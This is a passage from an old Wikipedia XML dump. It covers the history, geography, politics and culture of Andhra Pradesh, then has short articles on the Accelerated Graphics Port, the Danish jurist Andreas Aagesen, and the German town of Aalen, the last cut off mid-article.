It is only in the [[Mauryan]] age that there is historical evidence of the existence of Andhras as a political power in the southeastern Deccan. [[Megasthenese]], who visited the Court of [[Chandragupta Maurya]] (322-297 BCE), mentioned that Andhra country had 30 fortified towns and an army of a million infantry, 2000 cavalry and 1000 elephants. Buddhist books reveal that Andhras established their kingdoms on the [[Godavari]] belt at that time. [[Asoka]] referred in his [[13th rock edict]] (232 BCE) that Andhra region is under his rule.   

After the fall of the Mauryan Empire, the history of the Andhras, as a continuous account of political and cultural events, commences with the rise of the [[Satavahana]]s as a political power. According to [[Matsya Purana]] there were 29 rulers of this dynasty. They ruled over the Andhradesa including [[Deccan]] for about 400 years from the 2nd century BCE to beyond the 2nd century CE.

The decline and fall of the Satavahana empire left the Andhra country in a political chaos. Local rulers as well as invaders tried to carve out small kingdoms for themselves and to establish dynasties. During the period from 180 to 624 CE, [[Ikshvakus]], [[Brihatphalayanas]], [[Salankayanas]], [[Vishnukundins]], [[Vakatakas]], [[Pallavas]], [[Anandagotras]], [[Kalingas]] and others ruled over the Andhra area with their small kingdoms.  Perhaps most important among these small dynasties were the Ikshvakus. [[Nagarjunakonda]] was their capital and they patronised [[Buddhism]], though they followed the [[vedic]] [[ritualism]]. 

The period of Andhra history, between 624 and 1323, spanning over seven centuries, is significant for the sea-change it brought in all spheres of the human activity; social, religious, linguistic and literary. During this period, [[Desi]], the indigenous [[Telugu]] language, emerged as a literary medium overthrowing the domination of [[Prakrit]] and [[Sanskrit]]. As a result, Andhradesa achieved an identity and a distinction of its own. This change was brought by strong historical forces, namely, the Eastern and Western Chalukyas, the Rashtrakutas and the early Cholas.

The [[Eastern Chalukyas]] was a branch of the [[Chalukyas]] of [[Badami]]. [[Pulakesin II]], the renowned ruler of Chalukyas conquered [[Vengi]] (near [[Eluru]]) in 624 CE and installed his brother [[Kubja Vishnuvardhana]] (624-641 CE) as its ruler. His dynasty, known as the Eastern Chalukyas, ruled for nearly four centuries. Vishnuvardhana extended his dominions up to [[Srikakulam]] in the north and [[Nellore]] in the south.

The Eastern Chalukyas occupied a prominent place in the history of Andhra Pradesh. Since the time of [[Gunaga Vijayaditya]], inscriptions show Telugu stanzas, culminating in the production of literary works. Later on, in the 11th century, the great epic [[Mahabharata]] was translated partly by the court poet [[Nannaya]] under the patronage of the then-Eastern Chalukya king [[Rajaraja]]

The 12th century was a period of chaos. The [[Western Chalukyas]] of [[Kalyani]], who were at first successful in overthrowing the Eastern Chalukyas, were driven out after 17 years by the [[Imperial Cholas]] with the help of local chiefs. But the latter did not rule directly and thought it prudent to leave the kingdom to the feudatories themselves in lieu of nominal allegiance. The [[Velanati Cholas]] of [[Tsandavolu]] ([[Guntur]] district) were the foremost among the feudatories. Between 1135 and 1206, several minor dynasties ruled over parts of Andhra Pradesh recognising the authority of the Velanati Cholas nominally. 

The 12th and the 13th centuries saw the emergence of the [[Kakatiyas]]. They were at first the feudatories of the Western Chalukyas of Kalyana, ruling over a small territory near [[Warangal]]. A ruler of this dynasty, [[Prola II]], who ruled from 1110 to 1158, extended his sway to the south and declared his independence. His successor [[Rudra]] (1158-1195) pushed the kingdom to the north up to the [[Godavari delta]]. He built a fort at [[Warangal]] to serve as a second capital and faced the invasions of the [[Yadavas]] of [[Devagiri]]. The next ruler [[Mahadeva]] extended the kingdom to the coastal area. In 1199, [[Ganapati]] succeeded him. He was the greatest of the Kakatiyas and the first after the Satavahanas to bring the entire Telugu area under one rule. He put an end to the rule of the Velanati Cholas in 1210.

The [[Kakatiya]] period was rightly called the brightest period of the Telugu history. The entire Telugu speaking area was under the kings who spoke Telugu and encouraged Telugu. They established order throughout the strife torn land and the forts built by them played a dominant role in the defence of the realm. Kakatiya art preserved the balance between architecture and sculpture, that is, while valuing sculpture, it laid emphasis on architecture where due. The Kakatiya temples, dedicated mostly to [[Siva]], reveal in their construction a blending of the styles of [[North India]] and [[South India]] which influenced the political life of the Deccan.

In 1323, the [[Delhi]] [[Sultan]] [[Ghiaz-ud-din Tughlaq]] sent a large army under [[Ulugh Khan]] to conquer the [[Telugu]] country and lay siege to [[Warangal]]. The disastrous fall of the [[Kakatiya]] capital in 1323 brought the [[Andhras]], for the first time in their history, under the yoke of an alien ruler, the [[Muslim]]s. In 1347, an independent Muslim state, the [[Bahmani]] kingdom, was established in south India by [[Alla-ud-din Hasan Gangu]] in a revolt against the [[Delhi Sultanate]]. By the end of the 15th century, the [[Bahmani]] rule was plagued with faction fights and there came into existence the five [[Shahi]] kingdoms. Of these, it was the [[Qutbshahi]] dynasty that played a significant and notable role in the history of Andhras.

The [[Qutb Shahi]] dynasty held sway over the Andhra country for about two hundred years from the early part of the 16th century to the end of the 17th century. [[Sultan Quli Qutb Shah]], the founder of the dynasty, served the [[Bahmanis]] faithfully and was appointed governor of [[Telangana]] in 1496. He declared independence after the death of his patron king, [[Mahmud Shah]], in 1518. [[Qutb Shahi]] rulers adopted religious tolerance and local customs to a great extent. They treated Hindus equal with Muslims as well and maintained cordial relations between the two throughout. They encouraged the local language Telugu besides the Deccani [[Urdu]]. The socio-cultural life of the people during the rule of the Qutb Shahis was marked by a spirit of broad-mindedness and [[catholicity]] based on sharing and adopting of mutual traditions and customs. The [[Deccani architecture]], is a combination of [[Persian Empire|Persian]], [[Hindu]] and [[Pathan]] styles. [[Charminar]], [[citadel]] of [[Hyderabad]], is the most remarkable of all the Qutb Shahi monuments.   

[[Aurangazeb]], the [[Mughal]] emperor, invaded [[Golconda]] in 1687 and annexed it to the Mughal empire. He appointed a [[Nizam]] (governor) and thus for about a period of 35 years this region was ruled by Mughal [[Nizam]]s. Aurangazeb died in 1707 and the administrative machinery of the Mughal imperial regime began to crumble and it gradually lost control over the provinces. It enabled two foreign mercantile companies to consolidate themselves as political powers capable of subsequently playing decisive roles in shaping the destiny of the nation. They were the [[East India Company]] of [[England]] and the [[Compagnie de Inde Orientale]] of [[France]].

===The Colonial Era===
During the [[17th century]], the British acquired the [[Coastal Andhra]] region along the [[Bay of Bengal]], then known as the [[Northern Circars]], from the [[Nizam]]s, which became part of the British [[Madras Presidency]]. The [[Nizam]]s retained control of the interior provinces as the [[princely state]] of [[Hyderabad]], acknowledging British rule in return for local autonomy. 

The provinces were at the time governed in a feudal manner, with [[zamindar]]s in areas such as Kulla and other parts of the Godavari acting as lords under the Nizam. The feudal or zamindari system was removed after independence.

The Andhra (or [[Telugu people|Telugu]]) were at the forefront of Indian nationalism in the late 19th and early 20th centuries. [[Potti Sriramulu]] fought for independence alongside [[Mahatma Gandhi]], and later fought for Andhra unification.

===Post-Independence===
[[Independence of India|India became independent]] from the [[United Kingdom]] in [[1947]]. The [[Muslim]] [[Nizam of Hyderabad]] wanted to retain his independence from India, but his state was [[History of Hyderabad#The Liberation of Hyderabad|forcibly integrated]] into India in [[1948]] as [[Hyderabad state]]. In 1953, the northern, Telugu-speaking portion of [[Madras State]] voted to become the new state of Andhra Pradesh, the first of India's linguistic states. The state acquired its present boundaries on [[November 1]], [[1956]], when Hyderabad State was partitioned along linguistic lines and its [[Telangana]] region was added to Andhra Pradesh.

(''See also [[History of Hyderabad|Hyderabad]]'')

===Dynasties===
*[[Satavahana]]
*[[Shakas]]
*[[Ikshvakus]]
*[[Chalukya|Eastern Chalukyas]]
*[[Vengi]]
*[[Kakatiya|Kakatiyas]]
*[[Musunuri Nayaks]]
*[[Vijayanagar]]
*Reddys{{fact}}
*[[Qutb Shahi]]
*[[Nizam]]

==Geography==
===Regions===
Andhra Pradesh can be broadly divided into three regions, namely [[Coastal Andhra]] (Konaseema), [[Telangana]] and [[Rayalaseema]].

[[Coastal Andhra]] occupies the coastal plain between [[Eastern Ghats]] ranges, which run the length of the state, and the [[Bay of Bengal]]. 

[[Telangana]] lies west of the Ghats on the [[Deccan]] plateau. The [[Godavari River|Godavari]] and [[Krishna River|Krishna]] rivers rise in the [[Western Ghats]] of [[Karnataka]] and [[Maharashtra]] and flow east across Telangana to empty into the Bay of Bengal in a combined [[river delta]]. 

[[Rayalaseema]] lies in the southeast of the state on the Deccan plateau, in the basin of the [[Penner River]]. It is separated from Telangana by the low [[Erramala]] hills, and from Coastal Andhra by the Eastern Ghats.

The Krishna and Godavari rivers together irrigate thousands of square kilometres of land, and create the largest perennial cultivable area in the country. Andhra Pradesh leads in the production of [[rice]] ([[paddy]]) and is called India's Rice Bowl.

===Languages in Andhra Pradesh===
[[Telugu language|Telugu]] is the regional and official language of the state, spoken by 84.86% of the population. The major linguistic minority groups in the State include the speakers of [[Urdu]] (7.86%), [[Hindi]] (2.65%) and [[Tamil language|Tamil]] (1.27%). The minority language speakers who constitute less than 1% are the speakers of [[Kannada]] (0.94%), [[Marathi]] (0.84%), [[Oriya]] (0.42%), [[Malayalam]] (0.10%), [[Gondi]] (0.21%), and [[Koya]] (0.30%).

The state government has notified the areas where the population of linguistic minority constitutes 15% or more of the local population. 38% of Urdu speaking population in Andhra Pradesh is bilingual in Telugu as well.

===Important Cities/Towns===
*[[Hyderabad, India|Hyderabad]] is the [[capital]] of the state and, along with its twin town of Secunderabad, is the largest city.
*[[Visakhapatnam]] is the second largest city, India's fourth largest [[port]], an important Naval Centre and an industrial hub.
*[[Tirupati]] features the famous Venkateswara temple, is a major pilgrimage center.
*[[Vijayawada]] is the third largest city and an important [[trade|trading]] center and a prominent [[railway]] junction.
*[[Guntur]] is the fourth largest city of A.P, it is the heart of the [[tobacco]], [[cotton]] industry, features the famous [[Amaravati]]. 
*[[Warangal]] was the capital of the [[Kakatiya]] dynasty.
*[[Nellore]] is famous for its sea food and rice quality. Also famous for mica industry and space research centre.
*[[Kurnool]] was the capital city of the Andhra state.
*[[Kakinada]] is the hub of [[natural gas]] exploration and industrial activity.
*[[Rajahmundry]] is known for the [[Godavari River|Godavari]] barrage which is the largest bridge in the state.
*[[Ramagundam]] is an industrial town in the upper Godavari valley

===Districts===
[[Image:Map_AP_dist_all_shaded.png|thumb|right|250px|[[Districts of Andhra Pradesh]].]]
''[[Districts of Andhra Pradesh|23 districts of Andhra Pradesh]]''
{|
|-
|
* [[Adilabad]]
* [[Anantapur]]
* [[Chittoor]]
* [[Cuddapah]]
* [[East Godavari]]
* [[Guntur]]
* [[Hyderabad, India|Hyderabad]]
* [[Karimnagar]]
* [[Khammam]]
* [[Krishna District|Krishna]]
* [[Kurnool]]
* [[Mahbubnagar]]
* [[Medak]]
* [[Nalgonda]]
* [[Nellore]]
* [[Nizamabad]]
* [[Prakasam]]
* [[Rangareddy]]
* [[Srikakulam]]
* [[Visakhapatnam]]
* [[Vizianagaram]]
* [[Warangal]]
* [[West Godavari]]
|}

==Politics==
&lt;!-- Unsourced image removed: [[Image:APLegislativeAssembly.jpg|right|thumbnail|300px|The [[Andhra Pradesh]] State Legislative Assembly at the center of the [[Hyderabad, India|Hyderabad]] City. This white building was originally a [[Nizam]] construction.]] --&gt;

Andhra Pradesh has a [[Legislative Assembly]] of 294 seats. The state has 60 members in the [[Indian national parliament]]: 18 in the [[Rajya Sabha]] (upper house) and 42 in the [[Lok Sabha]] (lower house).

Andhra Pradesh had a row of Congress governments till 1982. Kasu Bramhananda Reddy held the record for the longest serving chief minister which was broken by [[Nara Chandrababu Naidu]]. [[P.V. Narasimha Rao]] also served as the chief minister for the state, who later went on to become the Prime Minister of India. Among the notable chief ministers of the state are Neelam Sanjeeva Reddy, Kasu Bramhananda Reddy, Dr. Marri Chenna Reddy , Kotla Vijaya Bhasker Reddy , [[N T Rama Rao]] and Nara Chandrababu Naidu.

===The Beginning of Multi-Party Politics===
1982 saw the rise of NT Rama Rao (or NTR) as the chief minister of the state for the first time introducing a formidable second political party to Andhra politics and thus breaking the virtually-single party monopoly on Andhra politics. Nadendla Bhaskar Rao attempted a hijack when NTR was away to the United States for a medical treatment. After coming back, NTR successfully convinced the governor to dissolve the Assembly and call for a fresh election. NTR won by a large majority. His government's policies included investment in education and rural development and in holding corrupt government offices accountable.

1989 assembly elections ended the 7-year rule of NTR with the congress being returned to power and Dr. Marri Chenna Reddy at the helm. He was replaced by N. Janardhan Reddy who was in turn replaced by Kotla Vijaya Bhasker Reddy.

In 1994 Assembly saw NTR becoming the chief minister again, but he was soon thrown out of power by his finance minister and son-in-law N Chandrababu Naidu. Naidu won a second term before he was defeated by the Congress-led coalition in the May 2004 polls.

[[Y.S. Rajasekhara Reddy]] of the Indian National Congress (INC) is the current chief minister of the states. Rajasekhara Reddy fought the 2004 Assembly elections in an alliance with a new party called Telangana Rashtra Samithi (or TRS), which hopes to form a separate state called Telangana.

 
See [[Andhra Pradesh Politics]] &lt;br&gt;
See [[Chief Ministers of Andhra Pradesh]]&lt;br&gt;
See [[:Category:Indian political parties-Andhra Pradesh|List of political parties in the state]]

==Economy==
[[Image:Map_AP_dist_NH_roads.png|thumb|right|300px|Major road links of Andhra Pradesh]]
===Recent Economic Progress===
In the last decade, the state has emerged at the forefront of India's progress in fields like 

* [[Information Technology]],	
* [[Biotechnology]], 	
* [[Pharmaceuticals]], 
* [[Business Management]], and 
* [[Construction]],
and has emerged as a land of immense business opportunities.

In spite of some liberalization since 1990, Andhra's economy still faces many challeges, especially in the  drought-hit agricultural sector.

Agriculture has been the chief source of income for the state's economy. Two important rivers of India, the [[Godavari]] and [[Krishna]], flow through the state. [[Rice]], [[sugarcane]], [[cotton]], [[Chilli pepper|mirchi]], and [[tobacco]] are the local [[agriculture|crops]]. The state has also started to focus on the fields of [[information technology]] and [[biotechnology]].

===Urban Centers of Economic Importance=== 

[[Hyderabad, India|Hyderabad]], the capital of Andhra Pradesh, is the fifth largest cosmopolitan city in India, rich in culture, enduring history and industrial growth. It is unique in being one of the few cities where tradition and technology co-exist. [[Hyderabad, India|Hyderabad]], like [[Bangalore]], has become a center for [[outsourcing]]. Notable amongst the multinational companies in [[Hyderabad, India|Hyderabad]] are [[Microsoft]], Google, [http://www.rediff.com/money/2004/may/10bpo5.htm Bank of America], Intergraph and Oracle. 

[[Vizag]], Andhra's main port, is home to the Indian Navy's Eastern Naval Command. The city's shipyards, fisheries, docks, and steel works make it an economic powerhouse. Recently, Vizag has seen a rise in investment as industry in Andhra begins to turn towards the lucrative export market. Also, because of its highly valuable geographic location, and because of recent political movement towards a creation of a separate [[Telangana]] state, Vizag has seen a massive rise in investment in the city's real estate market.

==Culture==
&lt;!-- Unsourced image removed: [[Image:MovieManiaAP.jpg|right|thumbnail|200px|Movie posters cover a wall in [[Vijayawada]], Andhra Pradesh.]] --&gt;

===Language===
[[Telugu language|Telugu]] (తెలుగు) is the state's official language. Telugu is the second most widely spoken language in India after the national language, Hindi. It is known for its mellifluous nature and has also been called ''Italian of the East''. An [[Urdu]]-speaking and predominantly [[Muslim]] minority lives mostly in [[Hyderabad, India|Hyderabad]].  Among the many tribal languages, [[Banjara]], [[Koyi]], and [[Gondi]] have the greatest number of speakers.

===Movies===
Andhra has 1,500 movie theaters, the second-most in India. The state also produces about 100 movies a year.
Now it also houses IMax theatre with a big 3D screen and also 3-5 multiplexes

===Music===
The state has a rich cultural heritage. The great composers of [[carnatic music]] [[Annamacharya]], [[Tyagaraja]] and many others were of Telugu descent who chose [[Telugu language|Telugu]] as their language of composition, thus enriching the language.

===Literature===
{{main|Telugu literature}}
[[Nannayya]], [[Tikkana]], and [[Yerrapragada]] form the trinity who translated the great epic Mahabharatha into Telugu. Modern writers include [[Jnanpith Award]] winners [[Viswanatha Satyanarayana|Sri Viswanatha Satyanarayana]] and [[C. Narayana Reddy|Dr. C.Narayana Reddy]].

===Dance===
Classical dance in Andhra can be performed by both men and women, however women tend to learn it more often.

[[Kuchipudi]] is the state's best-known and widely practiced classical [[dance]] form. 

Another classical dance form, [[Andhra Naatyam]], was historically a dance that defined Andhra's culture. Danced since antiquity at both Buddhist and Hindu temples, it has seen a resurgence in recent years, after nearly dying out.

===Cultural Institutions===
Andhra Pradesh has many museums, including the [[Salar Jung Museum]] in Hyderabad, which features a varied collection of sculptures, paintings, and religious artifacts, and the [http://www.vizagcityonline.com/visakha_museum/ Visakha Museum] in Vizag, which displays the history of the pre-Independence [[Madras Presidency]] in a rehabilitated Dutch bungalow.


===Newspapers===

Andhra Pradesh has several newspapers. Prominent among them are

Telugu Newspapers - Eenadu , Vaartha, Andhra Jyothi, Prajasakti, Andhra Bhumi, Visalandra,

English Newspapers - [[Deccan Chronicle]],[[The Hindu]],The Times of India

===Other elements of Culture===
[[Bapu (artist)|Bapu]]'s paintings, [[Nanduri Subbarao]]'s ''Yenki Paatalu'' (Songs on/by a washerwoman called Yenki), mischievous Budugu (a character by [[Mullapudi]]), [[Annamacharya|Annamayya]]'s songs, [[Aavakaaya]] (a variant of mango pickle in which the kernel of mango is retained), [[Gongura]] (a [[chutney]] from  Roselle plant), ''Atla taddi'' (a seasonal festival predominantly for teenage girls), banks of river [[Godavari]], ''Dudu basavanna'' (The ceremonial ox decorated for door-to-door exhibition during the harvest festival [[Sankranti]]) have long defined Telugu culture.

==Festivals==
* ''[[Sankranthi]]'' in January.
* ''[[Ugadi]]'' or the Telugu New Year in March/April.
* ''[[Ganesh Chaturdhi|Vinayaka Chavithi]]'' in August.
* ''[[Vijayadasami|Dasara]]'' in October.
* ''[[Diwali|Deepavali]]'' in November.
* ''[[Bonalu]]'' in [[Sravanam]].

==Food==
The cuisine of Andhra Pradesh is reputedly the spiciest of all Indian cuisine. Foods include both the original spicy Andhra cooking and [[Muslim]]-influenced Hyderabadi cuisine.

[[Pickle|Pickles]] and [[chutney|chutneys]] are particularly popular in Andhra Pradesh and many varieties of pickles and chutneys are unique to the state. Chutneys are made from practically every vegetable including  tomatoes, brinjals and an aromatic green called '[[Gongura]]'. A mango pickle, 'Aavakaya', is probably the best known of the Andhra pickles.

Rice is the staple diet and is used in a wide variety of ways. Typically, rice is either boiled and eaten with curry, or made into a batter for use in a [[crepe]]-like dish called [[dosa|dosas]], or rice cakes called [[idli|idlis]]. 

Meat, vegetables and greens are prepared with different masalas into a variety of strongly flavoured dishes. 

Hyderabadi cuisine is influenced by the Muslim population, which arrived in Andhra centuries ago. Much of the cuisine revolves around meat. It is rich and aromatic, with a liberal use of exotic spices and ghee, not to speak of nuts and dry fruits. Lamb, chicken and fish are the most widely used meats in the non-vegetarian dishes. The [[biryani|biryanis]] are perhaps the most distinctive and popular of Hyderabadi dishes.

==Tourism==
[[Image:tirumala.jpg|thumbnail|right|220px|The temple town [[Tirumala]] lit during the night]]
Andhra Pradesh is the home of many religious pilgrim centers. [[Tirupati]], the abode of [[Lord Venkateswara]], has the richest and most visited Hindu temple in India. [[Srisailam]], the abode of ''Sri Mallikarjuna'', is one of the twelve ''[[Jyothirlingam|Jyothirlingams]]'' in India and Yadagirigutta, the abode of an avatara of Vishnu, Sri Lakshmi Narasimha. [[Puttaparthi]] hosts the ashram of popular guru Sri [[Sathya Sai Baba]]. The Ramappa temple at Warangal is famous for some fine temple carvings. The state has numerous Buddhist centers at [[Amaravati]], Bhattiprolu, Nagarjuna Konda, and Phanigiri.

The one-million-year old limestone caves at Borra, picturesque Araku Valley, hill resorts of Horsley Hills, [[Godavari]] racing through a narrow gorge at ''Papi Kondalu'', waterfalls and rich bio-diversity at Talakona, the beaches of Vizag are some of the natural attractions of the state.

[[Charminar]], [[Golconda]] Fort, Chandragiri Fort, and Falaknuma Palace are some of the monuments in the state.

==Famous personalities from Andhra Pradesh==
See [http://en.wikipedia.org/wiki/Category:Telugu_People List of Telugu People]

==External links==
*[http://maps-india.com/andhrapradesh/index.html Andhra Pradesh Tourist Map]
* [http://www.aponline.gov.in/apportal/index.asp Andhra Pradesh government] Official Portal
* [http://www.apassemblylive.com/index.asp Andhra Pradesh Legislative Assembly] Andhra Pradesh Legislative Assembly Live
*[http://www.telugutanam.com/italianofeast Telugu - Italian of the East]
* [http://www.whatisindia.com/issues/andhrapr/index.html Andhra Pradesh Portal on The Indian Analyst] Detailed information, index of News, Analysis, and Opinion from many sources

{{Andhra Pradesh}}
{{States and territories of India}}

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[[zh:安得拉邦]]</text>
    </revision>
  </page>
  <page>
    <title>Asymmetrical relationship</title>
    <id>2379</id>
    <revision>
      <id>15900798</id>
      <timestamp>2005-04-03T05:20:34Z</timestamp>
      <contributor>
        <username>Oleg Alexandrov</username>
        <id>153314</id>
      </contributor>
      <comment>#redirect [[Binary relation]]</comment>
      <text xml:space="preserve">#redirect [[Binary relation]]</text>
    </revision>
  </page>
  <page>
    <title>Accelerated Graphics Port</title>
    <id>2380</id>
    <revision>
      <id>42017651</id>
      <timestamp>2006-03-03T06:21:02Z</timestamp>
      <contributor>
        <username>Imroy</username>
        <id>80754</id>
      </contributor>
      <comment>/* AGP vs PCI */ remove nonsense about the hard drive, and &quot;tricking&quot; the CPU.</comment>
      <text xml:space="preserve">[[Image:AGP_slot.jpg|right|thumb|400px|AGP slot (maroon), although the color is usually brown.]]
The '''Accelerated Graphics Port''' (also called '''Advanced Graphics Port''') is a high-speed point-to-point channel for attaching a [[graphics card]] to a [[computer]]'s [[motherboard]], primarily to assist in the acceleration of [[3D computer graphics]]. AGP is a type of [[computer bus]]. Some [[motherboard]]s have been built with multiple independent AGP slots.  AGP is slowly being phased out in favour of [[PCI Express]]. 

==Versions of AGP==
[[As of 2004]], newer versions of AGP increase the transfer rate from two to eight times.  Available versions include:
*'''AGP 1x''', using a [[32-bit]] channel operating at 66 [[Megahertz|MHz]] resulting in a maximum data rate of 266 [[megabyte]]s per second (MB/s), doubled from the 133 MB/s transfer rate of [[Peripheral Component Interconnect|PCI]] bus 33 MHz / 32-bit; 3.3 V signaling.
*'''AGP 2x''', using a [[32-bit]] channel operating at 66 MHz [[double pumped]] to an effective 133 MHz resulting in a maximum data rate of 533 MB/s; signaling voltages the same as AGP 1x;
*'''AGP 4x''', using a [[32-bit]] channel operating at 66 MHz quad pumped to an effective 266 MHz resulting in a maximum data rate of 1066 MB/s (1 GB/s); 1.5 V signaling;
*'''AGP 8x''', using a [[32-bit]] channel operating at 66 MHz, strobing eight times per clock, delivering an effective 533 MHz resulting in a maximum data rate of 2133 MB/s (2 GB/s); 0.8 V signaling.

In addition, '''AGP Pro''' cards of various types exist.  They require more power and are often longer than standard AGP cards (though they only connect to one AGP slot).  These cards are usually used to accelerate the professional [[computer-aided design]] applications employed in the fields of architecture, machining, engineering, and similar fields.

There are two versions of the AGP physical interface, for 3.3 V and 1.5 V cards respectively. The 1.5 V version has a key further away from the external connector, while the 3.3 V version is the opposite.

*'''64 bit AGP''', using a [[64 bit]] channel. Used in high end professional graphic cards.
*'''AGP Express'''. This is not a true AGP interface, but rather a way to allow an AGP card to be connected over the [[PCI bus]].  It is a technology found on [[Elitegroup Computer Systems|ECS]] motherboards, and is used as a selling point for AGP card owners who want a new motherboard but do not want to be forced to buy a [[PCI Express]] graphics card as well (most new motherboards do not provide AGP slots, only PCI Express slots).  An &quot;AGP Express&quot; slot is basically two PCI slots wired together in the AGP form factor.  While it offers backward compatibility with AGP cards, its disadvantages include [http://www.ecs.com.tw/ECSWeb/Support/agp.aspx incomplete support] (some AGP cards do not work with AGP Express) and reduced performance (the card is forced to use the shared PCI bus at its lower bandwidth, rather than having exclusive use of the faster AGP bus).

*'''AGI'''. The [[ASRock]] Graphics Interface (AGI) is a proprietary variant of the Accelerated Graphics Port (AGP) standard. Its purpose is to provide AGP-support for those of Asrock's motherboards that use chipsets lacking native AGP-support. However, it's not fully compatible and several videocard chipsets are known to not be supported. The performace and the quality of that interface is somehow questionable.

==Compatibility==
AGP cards are [[Backward compatibility|backwards]] and [[Forward compatibility|forwards compatible]] within limits. 1.5 V cards will not go into 3.3 V slots and vice versa, though &quot;Universal&quot; slots exist which accept either type of card.  AGP Pro cards (rarely used) will not fit into standard slots, but standard AGP cards will work in a Pro slot.

It should be noted that there are some proprietary exceptions to this rule. For example, [[Apple Computer|Apple]] [[Power Macintosh]] computers with the [[Apple Display Connector]] have an extra connector which delivers power to the attached display. Additionally, moving cards between computers of various [[CPU design|architectures]] may not work due to [[firmware]] issues.

==AGP vs PCI==
As computers became increasingly graphically-oriented, the graphics card became far more important than other PCI devices, and, thus, the AGP slot was developed. AGP slots are superior to PCI for graphics cards because they provide a dedicated pathway between the slot and the processor, allowing for faster communication between the two. In addition, AGP uses sideband addressing, meaning that addressing for packets is carried outside of the packet, meaning that the entire packet does not need to be read to get addressing information. In addition, to load a texture, a PCI graphics card must copy it from the system's RAM into the card's framebuffer. An AGP card is capable of reading textures directly from system RAM using the Graphics Address Remapping Table (GART). GART reapportions main memory for texture storage, allowing the graphics card to access them directly.

The two main reasons graphics cards with the PCI interface are produced is that firstly they can be used in nearly any PC, as very few modern desktop PCs do not have PCI slots - though some motherboards with built-in graphics adaptors lack an AGP slot. Secondly, a user with an appropriate [[operating system]] can use several PCI graphics cards (or several PCI graphics cards in combination with one AGP card) simultaneously - to give many different video outputs (for the use of many screens). This cannot be done with AGP cards, as very few (if any) [[motherboard|motherboards]] are equipped with more than one AGP slot.

==Use today==
Although AGP is still incorporated into many motherboards today, it is gradually being phased out by  
[[PCI Express]]. PCI Express allows much faster data transfer and also supports other devices. It is expected that AGP will be gone in the next few years.

==External links==
* [http://web.archive.org/web/20040205095311/http://www.gcsextreme.com/agpfaq.htm  Accelerated Graphics Port information]
* [http://www.motherboards.org/articles/tech-planations/920_4.html AGP expansion slots]
* [http://www.ertyu.org/steven_nikkel/agpcompatibility.html AGP compatibility] (with pictures)

{{FOLDOC}}

[[Category:Macintosh internals]]
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[[Category:Motherboard]]

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    </revision>
  </page>
  <page>
    <title>Andreas Aagesen</title>
    <id>2381</id>
    <revision>
      <id>35802665</id>
      <timestamp>2006-01-19T11:30:14Z</timestamp>
      <contributor>
        <username>FeanorStar7</username>
        <id>160806</id>
      </contributor>
      <text xml:space="preserve">'''Andreas Aagesen''' ([[1826]] &amp;ndash; [[1879]]) was a [[Denmark|Danish]] jurist.

He was educated for the law at Christiania (now [[Oslo]]) and [[Copenhagen]], and interrupted his studies in 1848 to take part in the first [[Schleswig]] war, in which he served as the leader of a reserve battalion. In 1855 he became professor of [[jurisprudence]] at the [[University of Copenhagen]]. In 1870 he was appointed a member of the commission  for drawing up a maritime and commercial code, and the navigation  law of 1882 is mainly his work. In 1879 he was elected a member  of the [[Landsting]] (Upper House of the Danish Parliament); but it is as a teacher at the university that he won his reputation. Among his numerous juridical works may be mentioned: ''Bidrag til Læren om Overdragelse af Ejendomsret, Bemærkinger om Rettigheder over Ting'' 
(Copenhagen, 1866, 1871-1872); ''Fortegnelse over Retssamlinger, Retslitteratur i Danmark, Norge, Sverige'' (Copenhagen, 1876). Aagesen was [[Carl Christian Hall]]'s successor as lecturer on [[Roman law]] at the university, and in this department his researches were epoch-making. All his pupils were profoundly impressed by his examination of the sources, his demonstration of his subject and his search after truth. 

See C. F. Bricka, ''Dansk Biog. Lex.'' vol. i. (Copenhagen, [[1887]]); ''Samlede Skrifter,'' edited by F. C. Bornemann (Copenhagen, [[1883]]).

{{Wikisource1911Enc|Aagensen, Andrew}}

{{1911}}

See also [http://en.wikibooks.org/wiki/1911_wikipedia#ANDREW_AAGESEN the 1911 wikipedia project demo article]

[[Category:1826 births|Aagesen, Andreas]]
[[Category:1887 deaths|Aagesen, Andreas]]
[[Category:Danish jurists|Aagesen, Andreas]]

[[simple:Andrew Aagesen]]
[[sv:Andreas Aagesen]]</text>
    </revision>
  </page>
  <page>
    <title>Aalen</title>
    <id>2382</id>
    <revision>
      <id>40461961</id>
      <timestamp>2006-02-20T19:02:03Z</timestamp>
      <contributor>
        <username>Neddyseagoon</username>
        <id>883252</id>
      </contributor>
      <comment>/* History */</comment>
      <text xml:space="preserve">{{Infobox Town DE|
name = Aalen|
name_local =  |
image_coa =  Wappen Aalen.png|
image_map =  Aalen in Germany.png|
state = [[Baden-Württemberg]] |
regbzk = [[Stuttgart (region)|Stuttgart]]|
district = [[Ostalbkreis]]|
population = 67,125 |
population_as_of = 2005|
population_ref = [http://www.statistik.baden-wuerttemberg.de source]|
pop_dens = 458|
area = 146.48|
elevation = 430|
lat_deg = 48| 
lat_min = 50|
lat_hem = N|
lon_deg = 10|
lon_min = 6|
lon_hem = E|
postal_code = 73401-73434 |
area_code = 07361/-66/-67|
licence = AA|
mayor = Martin Gerlach |
website = [http://www.aalen.de/ www.aalen.de]|
}}

'''Aalen''' is a [[town]] in the [[Germany|German]] state of [[Baden-Württemberg]]. It is the seat of the [[Ostalbkreis]] district.

Aalen is [[Town twinning|twinned]] with [[Saint-Lô]], [[France]], [[Christchurch, Dorset|Christchurch]], [[England]], [[Tatabanya|Tatabánya]], [[Hungary]] and [[Antakya]], [[Turkey]].

==Geography==

Aalen is situated on the river [[Kocher]], at the foot of the [[Swabian Alb]] to the south and south east and close to the hilly landscape of the [[Ellwanger Berge]] to the north. Aalen is at about 70 kilometres east of [[Stuttgart]] and 50 kilometres north of [[Ulm]].

==History==
From about 150/160 [[Anno Domini|AD]] a [[Roman Empire|Roman]] fort housed the equestrian unit ''Ala II Flavia miliaria'' at the site of present-day Aalen. The location was strategically important at the time, in the direct vicinity of the [[Germanic Limes|Rhaetian Limes]]. It has been suggested that the name of Aalen traces back to the Roman fort, but this was disproved by later research. Today's town of Aalen did not emerge until more than a millennium later.

Aalen was probably founded in the [[13th century]], though it is not certain whether by the [[Staufian]]s or by the counts of [[Oettingen]]. It was first mentioned in written records in the 14th century when it was subject to the counts of Oettingen. Aalen was an [[Imperial City]] (often misreferred to as [[Imperial Free City]]) from [[1360]] to [[1802]], when it was annexed to [[Württemberg]]. It then became the seat of an [[Oberamt]] from which the district (''Kreis'') Aalen emerged in 1938. The latter merged with the district of [[Schwäbisch Gmünd]] to the newly formed [[Ostalbkreis]] in 1973, though Aalen remained the district seat.

==Economy and transport==

